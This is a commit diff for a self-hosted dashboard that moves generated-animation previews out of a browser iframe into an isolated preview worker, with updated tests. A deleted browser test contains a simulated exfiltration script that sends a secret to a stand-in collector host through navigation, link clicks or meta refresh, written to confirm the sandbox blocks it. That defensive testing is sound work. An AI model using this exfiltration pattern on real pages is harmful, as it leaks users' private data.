Skip to content

Self-hosted, Self-Improving, Federated Everything App — dev management, agent orchestration, persistent mind, digital twin, second brain, and creative pipeline from a single dashboard over Tailscale to port the user into the OS

fix: isolate generated previews from fresh-realm network egress (#11157) (#11186)

[._.]/737555c6ffad
diff --git a/client/src/components/codeAnimation/CodeAnimationPreview.jsx b/client/src/components/codeAnimation/CodeAnimationPreview.jsx
index 0a22da9427..bdfcac73e2 100644
--- a/client/src/components/codeAnimation/CodeAnimationPreview.jsx
+++ b/client/src/components/codeAnimation/CodeAnimationPreview.jsx
@@ -1,6 +1,4 @@
import { useEffect, useMemo, useRef, useState } from 'react';
-import { uuidv4 } from '../../lib/uuid.js';
-import { buildGeneratedPreviewSandbox } from '../../../../server/lib/generatedPreviewSandbox.js';
import { Circle, Clapperboard, Download, FileCode2, LoaderCircle, Save } from 'lucide-react';
import { Link } from 'react-router';
import toast from '../ui/Toast';
@@ -9,6 +7,7 @@ import { useSseProgress } from '../../hooks/useSseProgress';
import { downloadBlob } from '../../lib/downloadBlob';
import { importsThree, inlineThreeVendor } from '../../lib/threeVendorImportMap';
import { formatLoudness } from '../../utils/formatters';
+import useGeneratedPreview from '../../hooks/useGeneratedPreview.js';
// Seconds past the film's own duration before a silent recording is abandoned
// (a page that never answers the handshake must not leave Record spinning).
@@ -66,28 +65,13 @@ export function prepareAnimationHtml(html, globalName, audioDataUrl, vendorFiles
return `${page.slice(0, at)}${policy}${audio}${page.slice(at)}`;
}
-const blobToDataUrl = (blob) => new Promise((resolve, reject) => {
- const reader = new FileReader();
- reader.onload = () => resolve(reader.result);
- reader.onerror = () => reject(new Error('Failed to read the audio track'));
- reader.readAsDataURL(blob);
-});
-
/**
- * Runs a generated code animation in an opaque-origin sandboxed iframe. Its
- * CSP permits the inline code and local media the film needs, while blocking
- * network-backed subresources, fetch/websocket, and form submissions. Browser
- * navigation is restricted by a trusted outer document that relays only the
- * recording protocol for this revision. It also drives
- * the prompt's recording handshake: Record posts `messages.record`, the page
- * answers with the WebM Blob, which can be downloaded or saved to the shared
- * video gallery.
- *
- * The opaque-origin frame cannot fetch `/api/uploads/*` itself, so the audio
- * track is read here and handed over as a data URL through the audio global.
+ * Shows a generated code animation as inert frames from the OS-isolated
+ * preview worker. Record asks that worker to run the page's handshake and
+ * returns the WebM in slices. Download HTML still inlines three.js for a
+ * standalone file; that file is not what the preview executes.
*/
export default function CodeAnimationPreview({ html, audioUrl, messages, audioGlobal, frame, title, jobId }) {
- const iframeRef = useRef(null);
// A generated page receives the selected track only after an explicit choice.
// Tie that choice to the URL so a changed track needs fresh consent.
const [audioDecision, setAudioDecision] = useState(() => ({
@@ -97,8 +81,6 @@ export default function CodeAnimationPreview({ html, audioUrl, messages, audioGl
const audioChoice = audioDecision.url === audioUrl
? audioDecision.choice
: (audioUrl ? null : 'none');
- // status: consent | none | loading | ready | failed; dataUrl is set only when ready.
- const [audio, setAudio] = useState({ status: audioUrl ? 'consent' : 'none', dataUrl: null });
const [meta, setMeta] = useState(null);
const [recording, setRecording] = useState(false);
const [recordProgress, setRecordProgress] = useState(0);
@@ -130,35 +112,7 @@ export default function CodeAnimationPreview({ html, audioUrl, messages, audioGl
return () => { exportRequestRef.current += 1; };
}, [jobId]);
- useEffect(() => {
- let active = true;
- if (!audioUrl) {
- setAudio({ status: 'none', dataUrl: null });
- return () => { active = false; };
- }
- if (audioChoice !== 'with-audio') {
- setAudio({ status: audioChoice === 'without-audio' ? 'none' : 'consent', dataUrl: null });
- return () => { active = false; };
- }
- setAudio({ status: 'loading', dataUrl: null });
- fetch(audioUrl, { credentials: 'same-origin' })
- .then((res) => {
- if (!res.ok) throw new Error(`Audio track unavailable (${res.status})`);
- return res.blob();
- })
- .then(blobToDataUrl)
- .then((dataUrl) => {
- if (active) setAudio({ status: 'ready', dataUrl });
- })
- .catch((error) => {
- if (!active) return;
- setAudio({ status: 'failed', dataUrl: null });
- toast.error(error.message);
- });
- return () => { active = false; };
- }, [audioUrl, audioChoice]);
-
- // A three-renderer film needs the vendored modules inlined before it boots.
+ // A three-renderer film still needs the vendored modules inlined for Download HTML.
const needsThree = useMemo(() => importsThree(html), [html]);
const [threeVendor, setThreeVendor] = useState({ status: 'idle', files: null });
useEffect(() => {
@@ -178,30 +132,30 @@ export default function CodeAnimationPreview({ html, audioUrl, messages, audioGl
return () => { active = false; };
}, [needsThree]);
- // Hold the frame back until the audio (and, for three, the vendored modules)
- // are in hand so the page boots once, with its globals already set.
const vendorFiles = needsThree ? threeVendor.files : null;
- const srcDoc = useMemo(() => {
- if (!html || audioChoice == null || audio.status === 'loading') return null;
- if (needsThree && !vendorFiles) return null;
- return prepareAnimationHtml(html, audioGlobal, audio.dataUrl, vendorFiles);
- }, [html, audioGlobal, audioChoice, audio, needsThree, vendorFiles]);
-
- const sandbox = useMemo(() => {
- if (!srcDoc || !messages) return null;
- const revision = uuidv4();
- return { revision, html: buildGeneratedPreviewSandbox(srcDoc, { revision,
- fromChild: [messages.ready, messages.progress, messages.recorded, messages.error],
- toChild: [messages.record],
- }) };
- }, [srcDoc, messages]);
+ const request = useMemo(() => {
+ if (!html || audioChoice == null) return null;
+ const body = {
+ kind: 'code-animation',
+ withAudio: audioChoice === 'with-audio',
+ audioGlobal,
+ revision: `${jobId || 'pasted'}:${audioChoice}:${html.length}`,
+ };
+ if (jobId) body.jobId = jobId;
+ else body.html = html;
+ if (audioChoice === 'with-audio' && audioUrl) body.audioUrl = audioUrl;
+ if (frame?.width) body.width = Math.min(1920, Math.round(frame.width));
+ if (frame?.height) body.height = Math.min(1080, Math.round(frame.height));
+ return body;
+ }, [html, audioChoice, audioGlobal, jobId, audioUrl, frame]);
+ const preview = useGeneratedPreview({ active: !!request, request });
useEffect(() => {
clearTimeout(recordTimerRef.current);
setMeta(null);
setRecording(false);
setVideo(null);
- }, [srcDoc]);
+ }, [request]);
// Keyed on the URL, not the object: marking a video saved replaces the
// object but keeps its URL alive.
@@ -213,37 +167,32 @@ export default function CodeAnimationPreview({ html, audioUrl, messages, audioGl
useEffect(() => () => clearTimeout(recordTimerRef.current), []);
useEffect(() => {
- if (!messages) return undefined;
- const onMessage = (event) => {
- if (!iframeRef.current || event.source !== iframeRef.current.contentWindow || event.data?.previewRevision !== sandbox?.revision) return;
- const data = event.data;
- if (!data || typeof data !== 'object') return;
- if (data.type === messages.ready) setMeta(data.meta && typeof data.meta === 'object' ? data.meta : {});
- if (data.type === messages.progress && Number.isFinite(data.t)) setRecordProgress(data.t);
- if (data.type === messages.recorded && data.blob instanceof Blob) {
- clearTimeout(recordTimerRef.current);
- setRecording(false);
- setVideo({ blob: data.blob, url: URL.createObjectURL(data.blob), saved: false });
- }
- if (data.type === messages.error) {
- clearTimeout(recordTimerRef.current);
- setRecording(false);
- toast.error(`Animation error: ${String(data.message || 'unknown error').slice(0, 300)}`);
- }
- };
- window.addEventListener('message', onMessage);
- return () => window.removeEventListener('message', onMessage);
- }, [messages, sandbox]);
+ const event = preview.lastEvent;
+ if (!event || !messages) return;
+ if (event.type === messages.ready) setMeta(event.meta && typeof event.meta === 'object' ? event.meta : {});
+ if (event.type === messages.progress && Number.isFinite(event.t)) setRecordProgress(event.t);
+ if (event.type === messages.error) {
+ clearTimeout(recordTimerRef.current);
+ setRecording(false);
+ toast.error(`Animation error: ${String(event.message || 'unknown error').slice(0, 300)}`);
+ }
+ }, [preview.lastEvent, messages]);
+
+ useEffect(() => {
+ if (!preview.recording) return;
+ clearTimeout(recordTimerRef.current);
+ setRecording(false);
+ setVideo({ blob: preview.recording.blob, url: preview.recording.url, saved: false });
+ }, [preview.recording]);
const duration = Number(meta?.duration) || frame?.durationSeconds || 0;
const fileBase = slug(title);
const handleRecord = () => {
- const target = iframeRef.current?.contentWindow;
- if (!target || recording) return;
+ if (!preview.ready || recording || !messages?.record) return;
setRecording(true);
setRecordProgress(0);
- target.postMessage({ type: messages.record }, '*');
+ preview.command('record', { message: { type: messages.record } });
clearTimeout(recordTimerRef.current);
recordTimerRef.current = setTimeout(() => {
setRecording(false);
@@ -306,25 +255,22 @@ export default function CodeAnimationPreview({ html, audioUrl, messages, audioGl
return (
<section className="space-y-3" aria-label="Animation preview">
<div className="overflow-hidden rounded-lg border border-port-border bg-black" style={{ aspectRatio: aspect, maxHeight: '70vh' }}>
- {sandbox ? (
- <iframe
- key={sandbox.revision}
- data-preview-revision={sandbox.revision}
- ref={iframeRef}
- title="Code animation preview"
- // No allow-same-origin: generated code has an opaque origin. The
- // injected CSP also blocks network resource and connection APIs.
- sandbox="allow-scripts"
- allow="autoplay"
- srcDoc={sandbox.html}
- className="h-full w-full border-0"
- />
+ {request ? (
+ preview.frameUrl ? (
+ <img title="Code animation preview" alt="" src={preview.frameUrl} className="h-full w-full border-0 object-contain" />
+ ) : (
+ <div className="flex h-full items-center justify-center gap-2 p-5 text-center text-sm text-gray-400">
+ {preview.status === 'unavailable' || preview.status === 'error'
+ ? (preview.reason || 'Isolated preview is unavailable on this host. Generated HTML is not run in this browser.')
+ : <><LoaderCircle className="h-4 w-4 animate-spin" /> Building the isolated preview…</>}
+ </div>
+ )
) : audioChoice == null ? (
<div className="flex h-full flex-col items-center justify-center gap-3 p-5 text-center">
<h3 className="text-base font-semibold text-white">Preview paused</h3>
<p className="max-w-xl text-sm text-gray-200">
Choose whether to run this generated animation with its selected audio track. The preview is paused until you choose.
- Navigation is restricted, but generated code can still use browser network capabilities to send this track outside PortOS. Continue only if you trust it.
+ It runs in an isolated local renderer on this machine. Choosing audio does not publish the track.
</p>
<div className="flex flex-wrap justify-center gap-2">
<button
@@ -345,11 +291,9 @@ export default function CodeAnimationPreview({ html, audioUrl, messages, audioGl
</div>
) : (
<div className="flex h-full items-center justify-center gap-2 text-sm text-gray-400">
- {needsThree && threeVendor.status === 'failed' ? (
- 'The three.js modules could not be loaded; reload the page to retry.'
- ) : (
- <><LoaderCircle className="h-4 w-4 animate-spin" /> {audio.status === 'loading' ? 'Loading audio track…' : 'Loading three.js…'}</>
- )}
+ {needsThree && threeVendor.status === 'failed'
+ ? 'The three.js modules could not be loaded; reload the page to retry.'
+ : <><LoaderCircle className="h-4 w-4 animate-spin" /> Loading three.js…</>}
</div>
)}
</div>
@@ -358,7 +302,7 @@ export default function CodeAnimationPreview({ html, audioUrl, messages, audioGl
<button
type="button"
onClick={handleRecord}
- disabled={!srcDoc || recording}
+ disabled={!preview.ready || recording}
className="inline-flex items-center gap-2 rounded-lg bg-port-error/90 px-3 py-1.5 text-sm text-white hover:opacity-90 disabled:cursor-not-allowed disabled:opacity-40"
>
{recording ? <LoaderCircle className="h-4 w-4 animate-spin" /> : <Circle className="h-4 w-4 fill-current" />}
@@ -388,6 +332,7 @@ export default function CodeAnimationPreview({ html, audioUrl, messages, audioGl
<button
type="button"
onClick={handleDownloadHtml}
+ disabled={needsThree && !vendorFiles}
className={BUTTON_SECONDARY}
>
<FileCode2 className="h-4 w-4" /> Download HTML
@@ -402,7 +347,7 @@ export default function CodeAnimationPreview({ html, audioUrl, messages, audioGl
)}
<span className="text-xs text-gray-500">
{meta ? 'Animation ready' : 'Waiting for the animation to report ready…'}
- {audio.status === 'failed' ? ' · audio track failed to load' : ''}
+ {preview.audioStatus === 'unavailable' ? ' · selected audio could not be attached' : ''}
</span>
</div>
diff --git a/client/src/components/codeAnimation/CodeAnimationPreview.test.jsx b/client/src/components/codeAnimation/CodeAnimationPreview.test.jsx
index a7c62e1dd2..5e0d06303c 100644
--- a/client/src/components/codeAnimation/CodeAnimationPreview.test.jsx
+++ b/client/src/components/codeAnimation/CodeAnimationPreview.test.jsx
@@ -1,8 +1,34 @@
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
-import { act, render, screen } from '@testing-library/react';
+import { act, render, screen, waitFor } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router';
+const socket = vi.hoisted(() => {
+ const handlers = new Map();
+ const emit = vi.fn((event, payload) => {
+ if (event !== 'generated-preview:open') return;
+ const opened = {
+ requestId: payload.requestId,
+ sessionId: '11111111-1111-4111-8111-111111111111',
+ durationSec: 5, fps: 30, width: 1920, height: 1080,
+ audio: payload.withAudio ? 'ready' : 'none',
+ revision: payload.revision,
+ };
+ for (const fn of handlers.get('generated-preview:opened') || []) fn(opened);
+ for (const fn of handlers.get('generated-preview:frame') || []) fn({ ...opened, generation: 0, mime: 'image/jpeg', data: btoa('frame') });
+ });
+ return {
+ emit,
+ on: vi.fn((event, cb) => {
+ if (!handlers.has(event)) handlers.set(event, new Set());
+ handlers.get(event).add(cb);
+ }),
+ off: vi.fn((event, cb) => { handlers.get(event)?.delete(cb); }),
+ connected: true,
+ __handlers: handlers,
+ };
+});
+vi.mock('../../services/socket', () => ({ default: socket }));
vi.mock('../../services/api', () => ({ uploadGalleryVideo: vi.fn(), exportCodeAnimation: vi.fn(), cancelCodeAnimationExport: vi.fn(), getCodeAnimationPackage: vi.fn(), getCodeAnimationThreeVendor: vi.fn() }));
vi.mock('../../lib/downloadBlob', () => ({ downloadBlob: vi.fn() }));
vi.mock('../../hooks/useSseProgress', () => ({ useSseProgress: vi.fn(() => ({ latest: null })) }));
@@ -21,12 +47,7 @@ const renderPreview = ({ audioUrl = null, jobId, html = HTML } = {}) => render(
</MemoryRouter>,
);
-const childHtml = (frame) => JSON.parse(/frame.srcdoc = (.*);/.exec(frame.getAttribute('srcdoc'))[1]);
-const postFromFrame = (source, data) => act(async () => {
- const frame = [...document.querySelectorAll('iframe')].find((el) => el.contentWindow === source);
- data = { ...data, previewRevision: frame?.dataset.previewRevision };
- window.dispatchEvent(new MessageEvent('message', { data, source }));
-});
+const previewOpens = () => socket.emit.mock.calls.filter(([event]) => event === 'generated-preview:open');
describe('prepareAnimationHtml', () => {
it('installs a restrictive policy before page scripts and the audio global', () => {
@@ -56,11 +77,13 @@ describe('CodeAnimationPreview', () => {
beforeEach(() => {
globalThis.URL.createObjectURL = vi.fn(() => 'blob:recorded');
globalThis.URL.revokeObjectURL = vi.fn();
+ socket.emit.mockClear();
+ socket.__handlers.clear();
});
afterEach(() => vi.unstubAllGlobals());
- it('inlines the vendored three.js modules for a three film, widening the policy to data: scripts only, and downloads a standalone file (#10464)', async () => {
+ it('downloads a standalone three film with the vendored modules inlined and does not execute it here (#10464)', async () => {
const user = userEvent.setup();
getCodeAnimationThreeVendor.mockResolvedValue({ files: [
{ path: 'three.core.js', text: 'export const REVISION = "x";' },
@@ -69,20 +92,18 @@ describe('CodeAnimationPreview', () => {
const three = "<!DOCTYPE html><html><head></head><body><script type=\"module\">import * as THREE from 'three';</script></body></html>";
renderPreview({ html: three });
const frame = await screen.findByTitle('Code animation preview');
- const srcDoc = childHtml(frame);
- expect(srcDoc).toContain("script-src 'unsafe-inline' data:");
- expect(srcDoc).toContain("connect-src 'none'");
- expect(srcDoc.indexOf('Content-Security-Policy')).toBeLessThan(srcDoc.indexOf('type="importmap"'));
- expect(srcDoc).toContain('"three":"data:text/javascript');
-
- await user.click(screen.getByRole('button', { name: 'Download HTML' }));
+ expect(frame.tagName).toBe('IMG');
+ expect(document.querySelector('iframe')).toBeNull();
+ const download = await screen.findByRole('button', { name: 'Download HTML' });
+ await waitFor(() => expect(download).toBeEnabled());
+ await user.click(download);
expect(downloadBlob.mock.calls.at(-1)[0]).toContain('type="importmap"');
+ expect(downloadBlob.mock.calls.at(-1)[0]).not.toContain('data:audio/');
expect(downloadBlob.mock.calls.at(-1)[2]).toBe('text/html');
- // A film that does not import three never fetches the modules or gets the wider policy.
getCodeAnimationThreeVendor.mockClear();
renderPreview();
- expect(childHtml((await screen.findAllByTitle('Code animation preview')).at(-1))).toContain("script-src 'unsafe-inline'; style-src");
+ expect((await screen.findAllByTitle('Code animation preview')).at(-1).tagName).toBe('IMG');
expect(getCodeAnimationThreeVendor).not.toHaveBeenCalled();
});
@@ -97,46 +118,61 @@ describe('CodeAnimationPreview', () => {
expect(screen.getByRole('button', { name: 'Download package' })).toBeEnabled();
});
- it('runs the page in a scripts-only sandbox and records through the postMessage handshake', async () => {
+ it('records through the isolated preview and ignores an unmatched recording', async () => {
const user = userEvent.setup();
renderPreview();
- const frame = screen.getByTitle('Code animation preview');
- expect(frame.getAttribute('sandbox')).toBe('allow-scripts');
- expect(childHtml(frame)).toContain("connect-src 'none'");
- const target = frame.contentWindow;
- const postMessage = vi.spyOn(target, 'postMessage');
-
- await postFromFrame(target, { type: MESSAGES.ready, meta: { duration: 5 } });
+ const frame = await screen.findByTitle('Code animation preview');
+ expect(frame.tagName).toBe('IMG');
+ expect(document.querySelector('iframe')).toBeNull();
+ const open = previewOpens().at(-1)[1];
+ await act(async () => {
+ for (const fn of socket.__handlers.get('generated-preview:event') || []) {
+ fn({ requestId: open.requestId, sessionId: '11111111-1111-4111-8111-111111111111', type: MESSAGES.ready, meta: { duration: 5 } });
+ }
+ });
expect(screen.getByText('Animation ready')).toBeInTheDocument();
await user.click(screen.getByRole('button', { name: /record \(real-time\)/i }));
- expect(postMessage).toHaveBeenCalledWith({ type: MESSAGES.record }, '*');
-
- // A message from any other window is ignored.
- await postFromFrame(window, { type: MESSAGES.recorded, blob: new Blob(['x']), mimeType: 'video/webm' });
+ expect(socket.emit).toHaveBeenCalledWith('generated-preview:command', expect.objectContaining({
+ action: 'record', message: { type: MESSAGES.record },
+ }));
+
+ await act(async () => {
+ for (const fn of socket.__handlers.get('generated-preview:recording') || []) {
+ fn({ requestId: 'other', sessionId: 'other', index: 0, count: 1, mime: 'video/webm', chunk: btoa('x') });
+ }
+ });
expect(screen.queryByLabelText('Recorded animation')).not.toBeInTheDocument();
- await postFromFrame(target, { type: MESSAGES.recorded, blob: new Blob(['x'], { type: 'video/webm' }), mimeType: 'video/webm' });
+ await act(async () => {
+ for (const fn of socket.__handlers.get('generated-preview:recording') || []) {
+ fn({ requestId: open.requestId, sessionId: '11111111-1111-4111-8111-111111111111', index: 0, count: 1, mime: 'video/webm', chunk: btoa('x') });
+ }
+ });
expect(screen.getByLabelText('Recorded animation')).toHaveAttribute('src', 'blob:recorded');
expect(screen.getByRole('button', { name: /save to media history/i })).toBeEnabled();
});
- it('does not read or provide the selected audio until the user allows generated code to use it', async () => {
+ it('does not read the selected audio until the user allows the isolated preview to use it', async () => {
const user = userEvent.setup();
- const fetchMock = vi.fn(async () => ({ ok: true, blob: async () => new Blob(['audio'], { type: 'audio/wav' }) }));
+ const fetchMock = vi.fn();
vi.stubGlobal('fetch', fetchMock);
renderPreview({ audioUrl: '/api/uploads/audio/example.wav' });
expect(screen.getByRole('heading', { name: 'Preview paused' })).toBeInTheDocument();
expect(screen.getByText(/preview is paused until you choose/i)).toBeInTheDocument();
- expect(screen.getByText(/send this track outside PortOS/i)).toBeInTheDocument();
+ expect(screen.queryByText(/could send that track outside PortOS/i)).not.toBeInTheDocument();
expect(fetchMock).not.toHaveBeenCalled();
expect(screen.queryByTitle('Code animation preview')).not.toBeInTheDocument();
+ expect(previewOpens()).toHaveLength(0);
await user.click(screen.getByRole('button', { name: 'Run with audio' }));
- const frame = await screen.findByTitle('Code animation preview');
- expect(fetchMock).toHaveBeenCalledWith('/api/uploads/audio/example.wav', { credentials: 'same-origin' });
- expect(childHtml(frame)).toContain('window["ANIMATION_AUDIO_URL"] = "data:audio/');
+ await screen.findByTitle('Code animation preview');
+ expect(fetchMock).not.toHaveBeenCalled();
+ expect(previewOpens().at(-1)[1]).toEqual(expect.objectContaining({
+ withAudio: true, audioUrl: '/api/uploads/audio/example.wav',
+ }));
+ expect(document.querySelector('iframe')).toBeNull();
});
it('lets the user preview without audio and never fetches the selected track', async () => {
@@ -146,9 +182,10 @@ describe('CodeAnimationPreview', () => {
renderPreview({ audioUrl: '/api/uploads/audio/example.wav' });
await user.click(screen.getByRole('button', { name: 'Preview without audio' }));
- const frame = await screen.findByTitle('Code animation preview');
+ await screen.findByTitle('Code animation preview');
expect(fetchMock).not.toHaveBeenCalled();
- expect(childHtml(frame)).not.toContain('ANIMATION_AUDIO_URL');
+ expect(previewOpens().at(-1)[1].withAudio).toBe(false);
+ expect(previewOpens().at(-1)[1].audioUrl).toBeUndefined();
});
});
diff --git a/client/src/components/codeAnimation/GeneratedPreview.browser.test.js b/client/src/components/codeAnimation/GeneratedPreview.browser.test.js
deleted file mode 100644
index 2124369d54..0000000000
--- a/client/src/components/codeAnimation/GeneratedPreview.browser.test.js
+++ /dev/null
@@ -1,85 +0,0 @@
-// @vitest-environment node
-import { afterAll, beforeAll, describe, expect, it } from 'vitest';
-import { existsSync } from 'node:fs';
-import { fileURLToPath } from 'node:url';
-import { join } from 'node:path';
-import { chromium } from 'playwright-core';
-import { createServer } from 'vite';
-import react from '@vitejs/plugin-react';
-import { BROWSER_FIXTURE_STARTUP_MS, startBrowserFixture } from '../../test/browserFixture.js';
-
-const chrome = [process.env.CHROME_PATH, chromium.executablePath(), '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome', '/usr/bin/google-chrome', '/usr/bin/chromium'].find(p => p && existsSync(p));
-const collector = 'https://collector.invalid/';
-
-describe.skipIf(!chrome)('generated preview navigation boundary in Chrome', () => {
- let fixture;
- beforeAll(async () => {
- fixture = await startBrowserFixture({ name: 'generated-preview', createServer, chromium,
- launchOptions: { executablePath: chrome }, viteConfig: temp => ({
- root: fileURLToPath(new URL('../../..', import.meta.url)), configFile: false, cacheDir: join(temp, 'vite'),
- optimizeDeps: { entries: ['src/components/codeAnimation/CodeAnimationPreview.jsx', 'src/components/musicVideo/CompositionPreviewPlayer.jsx'], include: ['react', 'react-dom/client', 'react-router', 'lucide-react'] },
- plugins: [react(), {
- name: 'generated-preview-fixture',
- resolveId(id) { if (id === '/fixture.jsx') return '\0fixture.jsx'; },
- load(id) {
- if (id.endsWith('/services/apiMusicVideo.js')) return `export async function getMusicVideoCompositionPreview() { return { html: window.fixtureHtml, assets: [{key:'private',url:'/synthetic'}],durationSec:5 }; } export const getMusicVideoLyricPlaythroughPreview=getMusicVideoCompositionPreview; export async function fetchMusicVideoPreviewAsset() { window.fetches++; return new Blob(['SYNTHETIC_PRIVATE_ASSET']); }`;
- if (id.endsWith('/services/api.js')) return 'export const cancelCodeAnimationExport = () => {}; export const exportCodeAnimation = () => {}; export const getCodeAnimationPackage = () => {}; export const getCodeAnimationThreeVendor = () => {}; export const uploadGalleryVideo = () => {};';
- if (id.endsWith('/hooks/useSseProgress.js')) return 'export const useSseProgress = () => ({latest:null});';
- if (id !== '\0fixture.jsx') return;
- return `import React from 'react';import{createRoot}from'react-dom/client';import{MemoryRouter}from'react-router';import Code from '/src/components/codeAnimation/CodeAnimationPreview.jsx';import Music from '/src/components/musicVideo/CompositionPreviewPlayer.jsx';
- const root=createRoot(document.getElementById('root'));window.fetches=0;
- window.mount=(mode,html)=>{window.fixtureHtml=html;root.render(React.createElement(MemoryRouter,null, mode==='music'?React.createElement(Music,{key:html,project:{id:'synthetic',composition:{document:{directory:'synthetic'}}}}):React.createElement(Code,{key:html,html,audioUrl:'data:audio/wav;base64,U1lOVEhFVElDX0FVRElP',audioGlobal:'AUDIO',messages:{ready:'ca:ready',record:'ca:record',recorded:'ca:recorded',progress:'ca:progress',error:'ca:error'},frame:{durationSeconds:1}})));};`;
- },
- configureServer(vite) { vite.middlewares.use('/preview-test', async (_req,res) => { res.setHeader('Content-Type','text/html');res.end(await vite.transformIndexHtml('/preview-test','<div id="root"></div><script type="module" src="/fixture.jsx"></script>')); }); },
- }], server: { host: '127.0.0.1', port: 0 },
- }),
- });
- }, BROWSER_FIXTURE_STARTUP_MS);
- afterAll(() => fixture?.close());
-
- it.each(['script', 'link', 'refresh'])('blocks %s navigation with bridged media and selected audio', async method => {
- const page = await fixture.browser.newPage();
- page.setDefaultTimeout(5000);
- page.on('pageerror', e => console.error(e.message));
- const requests = [];
- await page.route(`${collector}**`, route => { requests.push(route.request().url()); return route.fulfill({ body:'collector' }); });
- try {
- await page.goto(`${fixture.origin}preview-test`);
- await page.waitForFunction(() => !!window.mount);
- await page.evaluate(() => { window.received = []; window.addEventListener('message', e => { if(e.data?.type === 'test:received') window.received.push(e.data); }); });
- for (const mode of ['music', 'code']) {
- const attack = method === 'script' ? 'location.href=url' : method === 'link' ? "const a=document.createElement('a');a.href=url;document.body.append(a);a.click()" : "const m=document.createElement('meta');m.httpEquiv='refresh';m.content='0;url='+url;document.head.append(m)";
- const html = `<html><head></head><body><script>const attack=secret=>{let opaque=false;try{parent.document.body}catch{opaque=true}top.postMessage({type:'test:received',secret,opaque},'*');const url='${collector}?secret='+encodeURIComponent(secret);${attack};};addEventListener('message',async e=>{if(e.data.type==='portos-mv:manifest')parent.postMessage({type:'portos-mv:request',key:e.data.keys[0]},'*');if(e.data.type==='portos-mv:asset') {document.body.dataset.received=await e.data.blob.text();attack(document.body.dataset.received);}if(e.data.type==='ca:record')parent.postMessage({type:'ca:recorded',blob:new Blob(['synthetic recording'],{type:'video/webm'})},'*');});parent.postMessage({type:'${mode==='music'?'portos-mv:loaded':'ca:ready'}'},'*');if(window.AUDIO){document.body.dataset.received=window.AUDIO;attack(window.AUDIO);}</script></body></html>`;
- await page.evaluate(({mode,html}) => window.mount(mode,html), {mode,html});
- if(mode==='code') await page.getByRole('button',{name:'Run with audio'}).click();
- await page.waitForFunction(count => window.received.length === count, mode === 'music' ? 1 : 2);
- const received = await page.evaluate(() => window.received.at(-1));
- expect(received.secret).toContain(mode === 'music' ? 'SYNTHETIC_PRIVATE_ASSET' : 'data:audio/');
- expect(received.opaque).toBe(true);
- // Blocked navigation may replace the inner document with a browser error page.
- await page.waitForTimeout(100);
- expect(requests).toEqual([]);
- if (mode === 'music') expect(await page.evaluate(() => window.fetches)).toBe(1);
- }
- } finally { await page.close(); }
- }, 30000);
- it('relays module readiness and recording Blobs through the actual animation component', async () => {
- const page = await fixture.browser.newPage();
- page.setDefaultTimeout(5000);
- try {
- await page.goto(`${fixture.origin}preview-test`);
- await page.waitForFunction(() => !!window.mount);
- const html = `<body><script type="module">const value=42;document.body.textContent=String(value);parent.postMessage({type:'ca:ready'},'*');addEventListener('message',e=>{if(e.data.type==='ca:record')parent.postMessage({type:'ca:recorded',blob:new Blob(['synthetic recording'],{type:'video/webm'})},'*')});</script></body>`;
- await page.evaluate(html => window.mount('code', html), html);
- await page.getByRole('button', { name: 'Preview without audio' }).click();
- await page.getByText('Animation ready', { exact: true }).waitFor();
- expect(await page.frameLocator('iframe').frameLocator('iframe').locator('body').innerText()).toBe('42');
- await page.getByRole('button', { name: 'Record (real-time)' }).click();
- await page.getByLabel('Recorded animation').waitFor();
- const download = page.waitForEvent('download');
- await page.getByRole('button', { name: 'Download WebM' }).click();
- expect((await download).suggestedFilename()).toBe('code-animation.webm');
- } finally { await page.close(); }
- }, 30000);
-
-});
diff --git a/client/src/components/musicVideo/CodeVideoPanel.jsx b/client/src/components/musicVideo/CodeVideoPanel.jsx
index a1af0c3961..8061473428 100644
--- a/client/src/components/musicVideo/CodeVideoPanel.jsx
+++ b/client/src/components/musicVideo/CodeVideoPanel.jsx
@@ -5,7 +5,7 @@ import toast from '../ui/Toast';
import useProviderModels from '../../hooks/useProviderModels.js';
import ProviderModelSelector from '../ProviderModelSelector.jsx';
import { shouldIgnoreGlobalKey } from '../../lib/a11yKeyboard.js';
-import { prepareAnimationHtml } from '../codeAnimation/CodeAnimationPreview.jsx';
+import useGeneratedPreview from '../../hooks/useGeneratedPreview.js';
import { generateMusicVideoCode, getMusicVideoCodeDocument, regenerateMusicVideoCodeSection } from '../../services/apiMusicVideo.js';
const buttonCls = 'flex items-center gap-1 bg-port-bg border border-port-border rounded px-2 py-1.5 text-sm min-h-[44px] sm:min-h-0 disabled:opacity-50';
@@ -25,7 +25,6 @@ export default function CodeVideoPanel({ project, audioUrl, onProject, productio
const [t, setT] = useState(0);
const [playing, setPlaying] = useState(false);
const [looping, setLooping] = useState(false);
- const iframeRef = useRef(null);
const audioRef = useRef(null);
const tRef = useRef(0);
const {
@@ -59,17 +58,19 @@ export default function CodeVideoPanel({ project, audioUrl, onProject, productio
return undefined;
}, [section, requested, setSearchParams]);
- const srcDoc = useMemo(() => (doc?.html ? prepareAnimationHtml(doc.html, 'MV_CODE_AUDIO', null) : null), [doc]);
+ const revision = String(project.composition?.codeVideo?.generatedAt || '');
+ const request = useMemo(() => ({ kind: 'music-video-code', projectId: project.id, revision }), [project.id, revision]);
+ const preview = useGeneratedPreview({ active: true, request });
const seek = useCallback((time) => {
const next = Math.min(Math.max(0, time), duration || time);
tRef.current = next;
setT(next);
- iframeRef.current?.contentWindow?.postMessage({ type: 'mv-code:seek', t: next }, '*');
+ preview.seek(next);
if (audioRef.current && Math.abs((audioRef.current.currentTime || 0) - next) > 0.05) {
audioRef.current.currentTime = next;
}
- }, [duration]);
+ }, [duration, preview.seek]);
useEffect(() => {
const step = (dir) => seek(tRef.current + dir / fps);
@@ -120,13 +121,13 @@ export default function CodeVideoPanel({ project, audioUrl, onProject, productio
posted = frameIndex;
tRef.current = time;
setT(time);
- iframeRef.current?.contentWindow?.postMessage({ type: 'mv-code:seek', t: time }, '*');
+ preview.seek(time);
}
handle = requestAnimationFrame(tick);
};
handle = requestAnimationFrame(tick);
return () => cancelAnimationFrame(handle);
- }, [playing, looping, section, fps]);
+ }, [playing, looping, section, fps, preview.seek]);
const providerLabel = selectedProvider?.name || selectedProviderId || 'the active provider';
const modelLabel = selectedModel ? ` / ${selectedModel}` : '';
@@ -218,11 +219,14 @@ export default function CodeVideoPanel({ project, audioUrl, onProject, productio
</div>
{generateDisabledReason && <p className="text-xs text-port-error" role="status">{generateDisabledReason}</p>}
{error && <p className="text-xs text-port-error" role="alert">{error}</p>}
